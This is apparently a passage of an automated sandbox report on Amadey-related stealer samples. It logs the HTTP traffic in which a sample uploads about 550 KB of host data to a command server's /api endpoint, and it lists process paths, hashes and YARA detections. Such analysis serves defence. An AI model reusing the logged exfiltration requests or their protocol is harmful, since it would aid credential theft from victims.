2024-12-20 03:12:39 UTC	1122	IN	HTTP/1.1 200 OK Date: Fri, 20 Dec 2024 03:12:39 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=1r14ldtav8fqgt54duulfhc91e; expires=Mon, 14 Apr 2025 20:59:18 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=q5cCaHhzWcB0lIjC9R3gYCDtCAlhG0%2FHzgGZN8MRyOO8PGwtYF3VGQXhk16pfmUtoq2DXcSB%2Bs4kirGRInPy%2FP7E0U6eW4gxXzezMx7HnzPnn8imrR0Do3GNW43pxo9a8mws"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f4c73b4eba441f5-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1615&min_rtt=1589&rtt_var=614&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2840&recv_bytes=2124&delivery_rate=1837633&cwnd=211&unsent_bytes=0&cid=be5044eed0b2bb68&ts=780&x=0"
2024-12-20 03:12:39 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a Data Ascii: fok 8.46.123.189
2024-12-20 03:12:39 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.2.4	49866	104.21.91.209	443	6856	C:\Users\user\AppData\Local\Temp\1018144001\0a60e3a257.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-20 03:12:41 UTC	281	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=GWK4DOYKMEHNJBNY User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 551593 Host: treehoneyi.click
2024-12-20 03:12:41 UTC	15331	OUT	Data Raw: 2d 2d 47 57 4b 34 44 4f 59 4b 4d 45 48 4e 4a 42 4e 59 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 45 36 45 34 45 39 35 30 42 41 37 35 34 46 44 44 41 43 38 39 32 33 38 35 30 33 30 35 44 31 33 45 0d 0a 2d 2d 47 57 4b 34 44 4f 59 4b 4d 45 48 4e 4a 42 4e 59 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 47 57 4b 34 44 4f 59 4b 4d 45 48 4e 4a 42 4e 59 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 72 41 47 78 53 46 2d 2d 53 75 70 70 6f 72 74 0d 0a 2d 2d Data Ascii: --GWK4DOYKMEHNJBNYContent-Disposition: form-data; name="hwid"E6E4E950BA754FDDAC8923850305D13E--GWK4DOYKMEHNJBNYContent-Disposition: form-data; name="pid"1--GWK4DOYKMEHNJBNYContent-Disposition: form-data; name="lid"rAGxSF--Support--
2024-12-20 03:12:41 UTC	15331	OUT	Data Raw: 97 fa 56 08 12 fc 3d 47 95 a0 70 38 e2 99 7b dc 4b 01 7d ab 88 27 1e bc 6c 69 2f 28 43 c3 77 c4 82 1f 65 2b 37 dc fc b8 6f 00 25 26 43 cb be b9 d9 27 57 54 b9 71 a1 8d 7d e6 22 d9 1b 7f 45 44 5f 8a c9 1e 79 bd 99 73 7f c0 e0 16 15 17 af 6a 5b f8 11 77 4c 2f bb d1 5f 1d 7c be cf 0c 79 a9 5e ab 26 1d c1 b7 71 db fc 39 68 df 14 ce ea 86 a8 87 c2 63 79 c1 3d 1e 9d 43 2d c6 04 8c 5c 29 62 88 4c 2d c2 fd 95 b2 db 30 f9 63 14 1b 24 89 0c 05 8c cd 91 b7 49 b1 71 85 e5 e8 bd e0 cf b0 9e b7 ab f3 bd cc 01 fc cb d7 ed d7 37 f7 09 6f 45 bb 4b 8d e7 7a b1 fd 50 3b c0 59 23 bd 81 b0 73 75 12 69 e2 72 51 0c a2 40 4a e4 d2 dc 83 b1 11 b2 62 2c 1c 1e cd bc 13 e8 28 09 93 1f 92 e7 46 8d df 8f b2 e2 05 92 b3 3e 38 24 7d f2 23 48 a2 9e 0b 93 b6 ab d4 cf 96 10 00 32 4c 16 36 Data Ascii: V=Gp8{K}'li/(Cwe+7o%&C'WTq}"ED_ysj[wL/_\|y^&q9hcy=C-\)bL-0c$Iq7oEKzP;Y#suirQ@Jb,(F>8$}#H2L6
2024-12-20 03:12:41 UTC	15331	OUT	Data Raw: 84 08 c5 08 a5 9c 2a 19 95 3d f9 b7 06 55 8d 1b 16 10 2c cb fd 19 2a 61 bc 5f 2c ff 30 a5 22 b7 a8 c0 b3 80 5c eb 20 b2 dc 8b a3 1b 1d b4 55 ad 21 4a 7b 7d 7b dd 1a 4e e8 b1 5c d1 0b fe d4 78 8c 46 e0 71 d6 54 a7 5d 5b ed 1c 19 27 b9 25 df 8b 9d 67 a3 e4 35 57 bb 14 05 79 33 2c b5 55 0a a6 54 7b 73 5c a6 e1 dc c6 f9 c0 dc b2 6b 95 bc cf 05 ab 9a 33 87 e1 e8 8b bf 7f 5b 61 3a f2 42 2a 9b 44 8f 76 2e 5c 5b 3f 1e 52 2f aa f7 b8 db 99 19 1e d2 7f 4d 60 52 cd ab e1 7f 8a b9 95 12 20 02 0a df 7e ef 9e d8 ae 5d 78 ac 3d d3 c7 29 e4 eb cd 9d 21 5c 5e 7d 56 56 1a 63 c1 d8 32 ba d0 cf 76 72 32 e9 af ca c9 fa 8a 20 96 74 cf c1 d6 32 d1 e6 a3 21 52 c3 25 dd 19 2d 9d 81 99 ac 6c 68 d3 49 bf de 32 42 3e 6b 89 71 68 b5 7a af e9 b4 d5 fb 56 aa 8c 34 6d 28 d4 b5 f0 fe 5c Data Ascii: =U,a_,0"\ U!J{}{N\xFqT]['%g5Wy3,UT{s\k3[a:B*Dv.\[?R/M`R ~]x=)!\^}VVc2vr2 t2!R%-lhI2B>kqhzV4m(\
2024-12-20 03:12:41 UTC	15331	OUT	Data Raw: ec cc 53 6c 3b 2b 38 71 dd a2 da 8e e5 c1 74 7c b9 37 43 b5 65 65 f0 94 cc 74 79 a9 df 3c b5 b4 e3 b4 a3 c9 3f ac 8e 67 46 66 b3 69 8a a3 74 72 70 f9 c8 00 f5 b1 e2 38 7b e8 73 c1 20 95 36 30 2f ab 6e be b9 bc 62 f1 37 ae 40 b2 da cf fb dd b6 7a ab ec bd e4 b5 ca 3c 25 52 59 ee dc cc 23 ec b5 be a9 98 19 99 d9 1a 7c 57 de 3c 66 9d f3 cb 6e 31 87 d8 35 e0 fb ed 63 60 da 35 4c df 66 67 e1 58 ca f2 c7 3a c7 c1 3d 81 b9 57 96 db 7e ef d7 cc 23 30 ed 93 6e 21 b9 15 fb c4 0d 8f bd 7e 73 c3 f2 40 f6 a9 a9 e1 df c6 8e 36 cc 71 fb 4f de 15 7c 39 06 72 48 51 4c bf e3 32 11 79 89 11 94 3c bf bf dc da 5f 68 7e 76 36 24 6a 64 3c 67 15 e4 59 17 3d c4 ad cb 28 e5 00 c6 7e 34 dd 7b e8 d6 fb c7 a0 2a 1f 13 3a 22 00 a6 29 45 5d 65 42 a0 bb f0 c2 ec 78 d6 95 e9 d1 6e bd 73 Data Ascii: Sl;+8qt\|7Ceety<?gFfitrp8{s 60/nb7@z<%RY#\|W<fn15c`5LfgX:=W~#0n!~s@6qO\|9rHQL2y<_h~v6$jd<gY=(~4{*:")E]eBxns
2024-12-20 03:12:41 UTC	15331	OUT	Data Raw: c5 6f dc 14 7a fc 98 3e fe 11 dd de 68 d7 c0 9e ec c6 ab a7 7b c2 0c 1d 77 7d da 50 cb e8 fa 47 de 49 ed d7 75 31 d3 be 13 e5 95 32 0f 1f be a5 d4 bd 54 b0 d2 f9 20 f2 38 04 62 f8 d4 d5 a8 2f 58 43 82 da 21 ac 86 76 63 a7 5c 38 4f 11 b6 11 17 5c cb e2 26 39 7c 38 37 e1 b7 2d 2b 7d f4 aa 4e 77 bc 19 c4 b9 77 76 a4 cc dd 78 15 85 0e 97 11 c1 b9 d9 15 a9 65 a9 38 9e b9 d6 1d f7 95 c0 a0 81 f6 0f d2 75 46 3f 4f 87 d6 38 41 b5 78 a0 7a 2e d7 33 4f d8 b4 a2 01 80 bc cd 55 c9 81 a2 ed d5 e3 70 e0 b7 5c a3 a1 63 52 33 d7 2f 91 df ea 86 fa cc 09 00 9c fc c6 a9 ea e1 54 e7 33 0c 59 dd 1c 92 2f 36 ea 38 f9 64 91 7a 40 83 3d c4 f1 ff 62 2b ad a3 1a 41 bd ee 99 47 52 c0 48 90 4c 5a f9 5b d0 11 ff 6d 3f 39 bb 1c d6 98 e4 49 0c 38 d4 5a df 3e 5b db 98 bc 52 e5 3a cb 6a Data Ascii: oz>h{w}PGIu12T 8b/XC!vc\8O\&9\|87-+}Nwwvxe8uF?O8Axz.3OUp\cR3/T3Y/68dz@=b+AGRHLZ[m?9I8Z>[R:j
2024-12-20 03:12:41 UTC	15331	OUT	Data Raw: b6 76 88 cd 57 ba 31 6f fe 69 8f 62 df 4c 39 a3 45 4d 70 00 ea 33 06 fe 49 92 4d af f1 a8 2a fc c4 88 fe 60 01 d7 b1 13 71 e7 bb 37 37 83 2f 81 40 18 96 00 b7 fa 35 ba 96 64 90 68 59 7a f6 ad b7 50 1b c6 87 77 ce ed df e7 ea a4 c1 f1 58 fa ae cc a6 d4 c6 75 03 ab 23 7b 08 3e e8 25 07 e7 2a 99 8e 8b 19 0e 38 10 f5 c0 08 f9 1a 37 8c 59 8f f4 b8 27 f9 eb 8b bc 58 86 16 f7 ba 4e 24 5c 67 2b 8e af df ac c1 12 14 fa 61 2f 89 eb 4a 25 9f e7 48 c9 5c 99 c0 6a 7c 4b b8 f3 7d a0 e5 f8 b2 f0 d8 77 01 dc 65 70 52 58 64 ec 4b d0 cf b3 2e e3 98 a5 80 bf 49 f6 99 69 92 b0 7a ee b7 e7 39 46 91 c1 69 bf 85 e2 b8 b1 43 96 4a 29 65 1b 62 1b ba 89 cf 72 54 08 bb 17 0a 66 ab 78 17 7c f6 2a ae 83 49 cf 48 e5 84 f5 29 50 f8 f8 17 1e a8 1e e4 5e d4 82 ce 8f 2b 92 c8 ef b6 ad 6d Data Ascii: vW1oibL9EMp3IM`q77/@5dhYzPwXu#{>%87Y'XN$\g+a/J%H\j\|K}wepRXdK.Iiz9FiCJ)ebrTfx\|*IH)P^+m
2024-12-20 03:12:41 UTC	15331	OUT	Data Raw: bf 72 e5 8a 60 e2 7e ec 3f d7 aa d0 4c 33 e8 82 10 08 47 c3 31 4c 46 2d 1e 14 55 00 91 1d 20 b8 1e e0 30 b0 71 33 43 13 e0 99 0e 66 c2 6c ec a1 eb a0 a0 53 eb e9 7e 60 7b 45 39 b7 78 92 de bc d3 1e 4b 4b ba 93 4d 28 ac 38 64 e1 42 7f 1c 46 1f 10 f3 7e 8c 44 00 82 96 31 01 80 32 f2 92 69 94 6b 35 95 de 8b f2 96 8b 19 9c f4 0d 4a 36 aa 5b 99 43 66 b1 b5 3d 5f fa 8a 1f 0d a7 a3 39 e6 48 38 a2 4f b5 a1 28 d1 95 e8 a4 6e 83 f0 80 e7 12 8e ae 74 c2 fa 94 a0 20 c4 44 20 71 5e f1 03 98 1f 8f 61 a3 59 2d 8d c5 01 c9 b9 a3 e9 b5 34 4c 44 8f 50 41 31 19 1b 0f e2 a2 24 73 3e 6e aa 70 9d a9 13 69 14 6f 07 85 28 7d 74 d7 b1 82 2b ca a9 92 51 9e 2a a5 21 42 7f 4e e3 30 56 2c ae 88 e9 dc db 7e 5a 95 b8 c5 31 87 5c f3 a3 16 09 ce 7b 5f 85 90 85 61 61 07 60 00 cc 12 4b 85 Data Ascii: r`~?L3G1LF-U 0q3CflS~`{E9xKKM(8dBF~D12ik5J6[Cf=_9H8O(nt D q^aY-4LDPA1$s>npio(}t+Q*!BN0V,~Z1\{_aa`K
2024-12-20 03:12:41 UTC	15331	OUT	Data Raw: a6 f8 d7 f9 a4 48 14 25 58 81 4e f9 2a 48 ae e3 3d b9 1d 10 48 5c 31 2c 53 70 fc cf 44 df 23 b5 33 05 68 d7 40 29 f2 8f 16 ad 4a df ab 51 58 6d 07 c2 04 33 3c 2a 76 c5 76 dc 05 83 61 51 33 53 e3 f7 c3 31 74 02 54 fb 5c f4 5b 27 39 a2 4d 03 01 4a ba 5b 28 f6 58 54 fe a5 85 e3 55 3c 31 49 61 81 25 bb 17 6a a9 07 28 3e bf ec 9b a6 3d 7a a5 45 cf bd cf 0d e2 89 b2 9e ed 64 10 40 50 30 e9 12 53 7c 24 6e 50 44 93 39 76 d4 4f 04 85 c1 10 31 6c 39 e3 ef c1 7a b3 9d f6 5d f3 c8 1b bd 6d 06 80 7f fc 33 c5 2a 60 31 de 78 a0 dd b9 06 fd 6a b5 03 45 ce c2 e2 13 f3 45 dd 06 31 82 bd 39 96 e1 10 5a 39 68 eb c0 fe 4c 14 3c d3 7e 29 53 4a d3 14 df d1 af d8 9b ee 14 21 23 b4 47 15 c3 1a 9f 33 35 80 0e ef 39 de 9b 6b 80 fb 7a be ad 46 f3 b2 c7 d6 be a1 4b fe 09 23 5e 1f b4 Data Ascii: H%XNH=H\1,SpD#3h@)JQXm3<vvaQ3S1tT\['9MJ[(XTU<1Ia%j(>=zEd@P0S\|$nPD9vO1l9z]m3*`1xjEE19Z9hL<~)SJ!#G359kzFK#^
2024-12-20 03:12:41 UTC	15331	OUT	Data Raw: bb db c2 ca 9e 4d 7a 5d 7b 1d 0c 17 1f fc ee 9a 25 75 8b 58 0c c7 98 4a cf 1c ef bf 96 77 f0 22 37 c4 29 e4 99 2a 2b 33 df 5a 4a 0f a8 73 bf ba d8 28 62 4e 13 cd ce dc a1 d7 2f 1d 90 8c bc 5e a3 66 c9 ff 8b d8 6f 27 49 b6 66 d6 fe 3a d5 73 3c 08 54 c6 5d 46 71 5e 66 7b c7 85 a1 84 2f bb 30 58 ac ea e9 10 e2 3e 87 c4 08 d8 96 49 b6 ad 57 7d 52 b5 65 02 b0 d6 a6 73 0f 83 12 43 d8 29 27 fb f2 b8 49 c5 74 a5 39 d6 af 4e 32 cd 0f 7c ae 7d 62 03 d7 00 4e 07 57 fc bd 16 18 e4 5f 89 0f d8 6a a1 6b bc 3f 06 cb be df 1f bd 43 9f 00 13 5e 86 5d dc 7f 31 51 3f 13 cd 5b 98 eb b6 0e 0e 21 a8 c6 fa 98 14 c3 76 77 f0 2e a1 37 2d 8a 8f 2b ea 6c d4 51 b9 c0 af eb 76 05 24 d8 fa 2d 5f 56 e4 f2 9a 11 9d 98 a3 e5 2b 2c 51 e8 8d b1 11 f3 9d 6a 7e 25 e9 4b d5 e4 e8 29 69 7f 2b Data Ascii: Mz]{%uXJw"7)*+3ZJs(bN/^fo'If:s<T]Fq^f{/0X>IW}ResC)'It9N2\|}bNW_jk?C^]1Q?[!vw.7-+lQv$-_V+,Qj~%K)i+
2024-12-20 03:12:41 UTC	15331	OUT	Data Raw: e8 20 db d5 72 b7 e1 47 53 19 29 e6 3f 7d 6f 31 be e2 67 0a 3d da 39 eb 5b cf db f1 d5 17 73 8f 7e 5f 51 7a 52 fa ef 38 c6 df 83 1b ee 2c 85 e2 d3 18 e9 53 c2 88 55 ec e3 1b 9f 0f ef 4d d2 e5 fe 38 4b ce f6 d8 b7 b4 e2 1e a3 2a 5e 56 59 77 7b 30 50 57 89 f1 7b bf 51 d8 8f cf a7 47 fa 8f 68 8a b4 9d e6 dd 54 f3 7c db dd c0 ec 19 80 71 7f dd 09 2b ba 47 27 fa 8a 3c d9 32 d2 af 94 eb 9e 32 cb 24 28 58 6f d6 90 7b 7e d0 04 cd 10 f8 27 29 84 1c d3 fc 2a 0e d4 93 1f c1 67 52 c7 ae bc 2d 77 27 ba dd 9a 3b b2 01 ff 2a 26 d2 2b fc f9 b3 be 7d 91 3f 26 93 f2 c2 1f c4 d3 66 2e 80 ad 78 4c a3 63 1d 13 21 6e c1 e2 fc 69 95 9f ae fb 62 a7 14 9e 74 b6 6f b5 58 fa fb 9f 83 d7 bd 87 51 71 2f 9f 30 11 1b d1 8d 79 35 27 39 34 d0 a8 ce c4 a3 37 0a 6e 9f 82 c5 44 0d 76 36 be Data Ascii: rGS)?}o1g=9[s~_QzR8,SUM8K^VYw{0PW{QGhT\|q+G'<22$(Xo{~')gR-w';*&+}?&f.xLc!nibtoXQq/0y5'947nDv6
2024-12-20 03:12:44 UTC	1129	IN	HTTP/1.1 200 OK Date: Fri, 20 Dec 2024 03:12:43 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=mpsiqn40ta6u3tm0oh3jopml7v; expires=Mon, 14 Apr 2025 20:59:22 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=GZogG%2BmV3T5wKy5MlXN%2Fg3pUWFYt31gQPkJmwxYyoL5NOTERgv0WNL4s9h%2BlIXEsD7Lfq8x8ytP2cZc0g7ni552sQAUUgB4xT52XBTKL11XFWL69aoS07cqJ1l70uSPpK04O"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f4c73c69b16efa1-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1798&min_rtt=1796&rtt_var=679&sent=335&recv=574&lost=0&retrans=0&sent_bytes=2840&recv_bytes=554072&delivery_rate=1605277&cwnd=165&unsent_bytes=0&cid=8749370fb70356ae&ts=2345&x=0"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
15	192.168.2.4	49873	98.85.100.80	443	3900	C:\Users\user\AppData\Local\Temp\1018146001\9c795b1b74.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-20 03:12:45 UTC	52	OUT	GET /ip HTTP/1.1 Host: httpbin.org Accept: /
2024-12-20 03:12:46 UTC	224	IN	HTTP/1.1 200 OK Date: Fri, 20 Dec 2024 03:12:46 GMT Content-Type: application/json Content-Length: 31 Connection: close Server: gunicorn/19.9.0 Access-Control-Allow-Origin: * Access-Control-Allow-Credentials: true
2024-12-20 03:12:46 UTC	31	IN	Data Raw: 7b 0a 20 20 22 6f 72 69 67 69 6e 22 3a 20 22 38 2e 34 36 2e 31 32 33 2e 31 38 39 22 0a 7d 0a Data Ascii: { "origin": "8.46.123.189"}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
16	192.168.2.4	49876	104.21.91.209	443	6856	C:\Users\user\AppData\Local\Temp\1018144001\0a60e3a257.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-20 03:12:45 UTC	264	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 84 Host: treehoneyi.click
2024-12-20 03:12:45 UTC	84	OUT	Data Raw: 61 63 74 3d 67 65 74 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 72 41 47 78 53 46 2d 2d 53 75 70 70 6f 72 74 26 6a 3d 26 68 77 69 64 3d 45 36 45 34 45 39 35 30 42 41 37 35 34 46 44 44 41 43 38 39 32 33 38 35 30 33 30 35 44 31 33 45 Data Ascii: act=get_message&ver=4.0&lid=rAGxSF--Support&j=&hwid=E6E4E950BA754FDDAC8923850305D13E
2024-12-20 03:12:46 UTC	1122	IN	HTTP/1.1 200 OK Date: Fri, 20 Dec 2024 03:12:46 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=ij6k5o2dsptaai6mfea591apl8; expires=Mon, 14 Apr 2025 20:59:25 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=Al0sU%2BefEUf1wp5Bk5KE0a24g5X%2FrWooQJ83B9U7syR6wifgGGS9NGcU86ARgjGmh3K5J%2BqakIUJnyCf99QjFbzNvHIEWW2JnNyXf2CU5kBXhyTpZF970FeBrZqnxP4HYSbX"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f4c73ddfccf7290-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1837&min_rtt=1836&rtt_var=692&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2841&recv_bytes=984&delivery_rate=1577525&cwnd=249&unsent_bytes=0&cid=66d655c8cf18bd9d&ts=1074&x=0"
2024-12-20 03:12:46 UTC	54	IN	Data Raw: 33 30 0d 0a 35 65 5a 45 4d 4e 47 74 32 56 62 6c 49 55 61 52 4d 4c 2b 36 67 53 50 4e 6b 5a 57 4e 31 76 55 73 55 4c 41 4b 77 67 6a 33 61 51 79 2b 75 77 3d 3d 0d 0a Data Ascii: 305eZEMNGt2VblIUaRML+6gSPNkZWN1vUsULAKwgj3aQy+uw==
2024-12-20 03:12:46 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Target ID:	0
Start time:	22:11:00
Start date:	19/12/2024
Path:	C:\Users\user\Desktop\file.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\file.exe"
Imagebase:	0x1000000
File size:	3'013'632 bytes
MD5 hash:	EE12D8B8CA1B5A57024AA4543B3865EB
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000000.00000002.1759042521.0000000001001000.00000040.00000001.01000000.00000003.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000000.00000003.1718412453.0000000004FD0000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	1
Start time:	22:11:03
Start date:	19/12/2024
Path:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"
Imagebase:	0xeb0000
File size:	3'013'632 bytes
MD5 hash:	EE12D8B8CA1B5A57024AA4543B3865EB
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000001.00000002.1784872466.0000000000EB1000.00000040.00000001.01000000.00000007.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000001.00000003.1744152800.0000000005500000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML Detection: 47%, ReversingLabs
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	22:11:03
Start date:	19/12/2024
Path:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Imagebase:	0xeb0000
File size:	3'013'632 bytes
MD5 hash:	EE12D8B8CA1B5A57024AA4543B3865EB
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000002.00000003.1746560689.0000000004920000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000002.00000002.1787101681.0000000000EB1000.00000040.00000001.01000000.00000007.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	6
Start time:	22:12:00
Start date:	19/12/2024
Path:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Imagebase:	0xeb0000
File size:	3'013'632 bytes
MD5 hash:	EE12D8B8CA1B5A57024AA4543B3865EB
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000006.00000002.2954757727.0000000000EB1000.00000040.00000001.01000000.00000007.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000006.00000003.2313954308.0000000004920000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	7
Start time:	22:12:11
Start date:	19/12/2024
Path:	C:\Users\user\AppData\Local\Temp\1018143001\623cea31e9.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1018143001\623cea31e9.exe"
Imagebase:	0xa30000
File size:	776'832 bytes
MD5 hash:	AFD936E441BF5CBDB858E96833CC6ED3
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 68%, ReversingLabs
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	22:12:11
Start date:	19/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	9
Start time:	22:12:15
Start date:	19/12/2024
Path:	C:\Users\user\AppData\Local\Temp\1018143001\623cea31e9.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1018143001\623cea31e9.exe"
Imagebase:	0xa30000
File size:	776'832 bytes
MD5 hash:	AFD936E441BF5CBDB858E96833CC6ED3
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000009.00000003.2592210223.0000000000D17000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000009.00000003.2591618235.0000000000D67000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000009.00000003.2591861474.0000000000D17000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	11
Start time:	22:12:20
Start date:	19/12/2024
Path:	C:\Users\user\AppData\Local\Temp\1018144001\0a60e3a257.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1018144001\0a60e3a257.exe"
Imagebase:	0xa50000
File size:	1'885'696 bytes
MD5 hash:	25FB9C54265BBACC7A055174479F0B70
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML Detection: 75%, ReversingLabs
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	12
Start time:	22:12:27
Start date:	19/12/2024
Path:	C:\Users\user\AppData\Local\Temp\1018145001\521206d971.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1018145001\521206d971.exe"
Imagebase:	0xd00000
File size:	1'114'112 bytes
MD5 hash:	EF08A45833A7D881C90DED1952F96CB4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 100%, Joe Sandbox ML Detection: 67%, ReversingLabs
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	14
Start time:	22:12:34
Start date:	19/12/2024
Path:	C:\Users\user\AppData\Local\Temp\1018145001\521206d971.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1018145001\521206d971.exe"
